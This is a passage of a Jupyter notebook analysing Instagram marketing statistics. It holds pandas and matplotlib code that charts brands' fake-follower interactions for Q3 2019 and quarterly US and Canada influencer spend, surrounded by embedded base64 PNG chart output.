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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS7.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "c = ['r', 'b', 'k', 'y', 'c', 'm', 'g']\n", + "\n", + "plt.figure(figsize=(15,7))\n", + "plt.title(\"Brands with most fake follower interactions, Q3 2019\")\n", + "plt.ylabel(\"Brand\")\n", + "plt.xlabel(\"Fake Interactions\")\n", + "plt.barh(x, y, color=c)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Total US & Canada influencer spend by quarter, USD millions" + ] + }, + { + "cell_type": "code", + "execution_count": 50, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Q1 2018 163\n", + "0 Q2 2018 171\n", + "1 Q3 2018 174\n", + "2 Q4 2018 235\n", + "3 Q1 2019 265\n", + "4 Q2 2019 314\n", + "5 Q3 2019 340\n", + "6 Q4 2019 434\n" + ] + }, + { + "data": { + "image/png": "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